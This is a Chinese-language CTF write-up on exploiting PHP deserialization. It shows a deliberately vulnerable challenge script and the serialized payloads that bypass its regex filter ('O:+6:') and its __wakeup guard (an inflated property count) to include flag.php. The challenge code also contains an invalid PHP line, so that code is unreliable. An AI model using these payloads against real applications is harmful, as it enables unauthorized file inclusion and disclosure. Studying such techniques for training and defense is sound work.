2026-3-15-反序列化漏洞利用

2026-3-15-反序列化漏洞利用

三月 15, 2026

反序列化漏洞利用

主要函数

  • serialize 序列化函数
  • unserialize 反序列化

原理:

1.用户输入可以传入到unserialize

2.存在可利用的函数

3.有危险的魔术方法

4.构造POP链达到漏洞利用

例:

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
 <?php
class secret{
public $file='index.php';
public function __construct($file){
$this->file = $file;
}

public function __destruct(){
include($this->file);
if($flag != null){
echo "<br>flag: ".$flag;
}else{
echo "sorry, flag not found";
}
}

public function __wakeup(){
$this->file='fakeflag.php';
}
}
$cmd=$_GET['cmd'];

if (!isset($cmd)) echo show_source(__FILE__);
else {
if (preg_match('/[oc]:\d+:/i',$cmd)){
echo "Are you daydreaming?";
}
else{
unserialize($cmd);
}
}
//secret in flag.php

var $a = new secret();
$a ->__destruct();
echo urldecode($a);

?>

1.先过正则

2.跳过__walkeup

3.执行__destruct()

  • O%3A6%3A”secret”%3A1%3A{s%3A4%3A”file”%3Bs%3A8%3A”flag.php”%3B}

  • O:6:”secret”:1:{s:4:”file”;s:8:”flag.php”;}

被正则过滤Are you daydreaming?

  • O:+6:”secret”:1:{s:4:”file”;s:8:”flag.php”;}

  • O%3A%2B6%3A”secret”%3A1%3A{s%3A4%3A”file”%3Bs%3A8%3A”flag.php”%3B}

flag: fakeflag!

没有绕过

__wakeup()

  • O:+6:”secret”:2:{s:4:”file”;s:8:”flag.php”;}

URL编码后成功拿到flag